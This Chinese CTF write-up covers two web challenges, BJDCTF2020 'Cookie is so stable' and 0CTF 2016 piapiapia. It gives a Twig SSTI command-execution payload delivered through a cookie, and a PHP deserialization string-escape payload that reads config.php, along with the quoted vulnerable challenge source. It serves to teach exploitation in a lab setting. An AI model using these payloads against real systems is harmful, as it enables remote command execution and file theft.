[BJDCTF2020]Cookie is so stable
打开后发现有一个flag选项卡，进去后发现有一个输入框
要我们输入一个id，随便输入个123看看，
回显我们的id，于是看了看我的cookie，发现Cookie中多了user参数，cookie里的user是注入点
初步猜想，有没有可能是Cookie注入？于是我输入了几个注入关键字测试是否存在注入，发现并不是cookie注入。
测试了一下是否存在SSTI注入
简单测试一下
发现存在着模板注入
简单回顾下流程图
如果是Twig，输入{{7*‘7’}} 输出49
如果是Jinja，输入{{7*‘7’}} 输出7777777
这题是Twig
在hint.php的源码中，对我们进行了提示
发现存在SSTI注入
Twig不能调用静态方法，但提供了_self，所以无需暴力枚举变量名，且提供了指向Twig_Environment的env属性。
通过查阅资料，详解模板注入漏洞（上） ，构造Payload：
对应的Payload
{{_self.env.registerUndefinedFilterCallback("exec")}{{_self.env.getFilter("id")}}
查看根目录发现只给一个条信息
换一条命令
查看flag 结束
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
#registerUndefinedFilterCallback("exec") 将exec传入到全局数组中
#getFilter("cat /flag")把语句传入到参数
最后实现了在函数中func("exec", "cat /flag")的执行
对于Twig来说，其变量_self暴露了Twig内部的许多API。下面是一个恶意的payload，可以用来攻击registerUndefinedFilterCallback函数。在下面的有效载荷中，命令id被执行后，将返回当前用户的id（Linux）。
命令执行示例
{{_ self.env.registerUndefinedFilterCallback( "exec")}}{{_ self.env.getFilter( "id")}}
[0CTF 2016]piapiapia
知识点
url传递数组
当我们要向服务器传递数组时，我们可以通过
http://127.0.0.1/index.php?a[]=hello&a[]=world
来传递，这样，在后端，
$a = $_GET[‘a’];
就可以接收到 $a[0]=“hello”, $a[1]=“world”。
数组的遍历
foreach (array_expression as $value)
foreach (array_expression as $key => $value)
第一种格式遍历给定的 array_expression 数组。每次循环中，当前单元的值被赋给 $value 并且数组内部的指针向前移一步（因此下一次循环中将会得到下一个单元）。
第二种格式做同样的事，只除了当前单元的值赋给$value外，键名也会在每次循环中被赋给变量 $key。
<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
$value = $value * 2;
}
$ arr is now array(2, 4, 6, 8)
unset($value); 最后取消掉引用
?>
$a = array(
"one" => 1,
"two" => 2,
"three" => 3,
"seventeen" => 17
);
foreach ($a as $k => $v) {
echo "\$a[$k] => $v.\n";
}
输出 $a[one] => 1. $a[two] => 2. $a[three] => 3. $a[seventeen] => 17.
网站目录扫描工具都是那几种？
这里不单单是指常规的御剑，还包括dirsearch，dirb，nikto等工具，多积累一些这样的工具，不然遇到这种同样的源码泄露，或者有robots.txt文件的题都没法下手。
序列化字符串解析
a:4:{s:5:“phone”;s:11:“11111111111”;s:5:“email”;s:11:“1a2s@qq.com”;s:8:“nickname”;s:3:“123”;s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}
a:4指的是由一个数组序列化而来，并且有4个值。如果是对象的话，好像是把a改成了O。然后就是一个键值名，一个变量值：
s:5:“phone”;第一个键值名，是string类型的，长度为五，s:11:“11111111111”;第一个变量值，string类型，长度为11.这就是它的规律。
PHP反序列化字符逃逸
举例：
反序列化
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>
运行结果
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" }
我们可以看到在后端中，反序列化是一";}结束的，如果我们把";}带入需要反序列化的字符串中（除了结尾处），是不是就能让反序列化提前结束后面的内容就丢弃了呢？
我们把第二个值abc换成abc";i:2;s:5:"qwert";}
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>
运行结果
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" }
成功的反序列化出我们自己定义的内容，丢弃了原先的内容（i:2;s:4:“defg”）
解题：
打开网站一看就发现了一个小猫咪的登录页面在这里插入图片描述
这里通过网站目录扫描可以发现源码泄露，也就是www.zip文件，将源码下载下来后，进行代码审计。
大致功能就是注册,修改信息.
而和数据库有关的操作都限制的很严格,基本不可能有注入.
update.php文件
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');//可以看出这里用了一堆正则表达式来过滤我们提交的数据，而且第三个正则表达式和前面两个不一样，这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组，绕过长度的限制，则可以绕过这正则表达式，是我们不会die出。
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));//注意这里使用了序列化函数，一般题目中出现这个函数，都要考虑反序列化方面的解题方法，这里我们跟着update_profile函数跳转到class.php文件。
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) { //找到这个函数了，继续往下看
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {//调用了魔法函数
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); //注意这里定义的非法值
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
} //这里将非法值替换成了hacker
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
这俩个文件的意思就是先正则匹配，之后将参数序列化，最后替换里边的非法值。
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);//将传参反序列化出来
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));//这里进行了文件读取，也就是说photo将是我们可以操作的参数
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="https://img-blog.csdnimg.cn/2022010621130478296.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';//flag在这里
?>
那么思路很明显了我们构造包含config.php的序列化字符串，利用字符串逃逸，在profile.php中读取出来。
流程：
在update_profile处使用preg_match进行过滤,数组绕过即可.
而下面profile数据是以序列化的格式存储进数据库的.
然后牢记反序列化数据+过滤函数可能会有奇妙的反应.
在update_profile处,题目是对这个传进去的序列化数据过滤过的.
然后过滤函数
会把匹配到的select等替换为hacker.
然后注意到where是五个字符的hacker是六个字符,会有字符减少的情况.所以这里存在反序列化字符逃逸,且属于字符变多的情况
详细解析
PHP反序列化字符逃逸
这就意味着可以控制反序列化数据.然后注意到profile里面还有一个photo.可以利用photo读文件
然后又知道flag在config.php
预期payload
<?php
$profile['phone']=123456789;
$profile['email']='123456789@qq.com';
$profile['nickname']='lonmar';
$profile['photo']='config.php';
var_dump(serialize($profile));
//string(124) "a:4:{s:5:"phone";i:123456789;s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:6:"lonmar";s:5:"photo";s:10:"config.php";}"
从nickname传参数
这样需要传的数据就是lonmar";s:5:“photo”;s:10:“config.php”;}
需要让";s:5:“photo”;s:10:“config.php”;}逃逸掉,一共33个字符
所以需要传33个where进去
所以payload就是:
'where'*33 +'";s:5:"photo";s:10:"config.php";}'
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}
但是发现最后会有问题
原因在于使用nickname[]=xxx 来bypass.序列化格式已经发生了改变
下面是两种传参,序列化数据的区别
phone=1&email=1&nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:“photo”;s:10:“config.php”;}
string(337) "a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";a:1:{i:0;s:198:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}"
string(370) "a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";a:1:{i:0;s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}"
phone=1&email=1&nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:“photo”;s:10:“config.php”;}
string(327) "a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";s:198:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}"
string(360) "a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}"
要闭合掉nickname数组
所以重新构造的payload:
'where'*34 +'";}s:5:"photo";s:10:"config.php";}'
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:“photo”;s:10:“config.php”;}
解码：
扫一扫
338
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
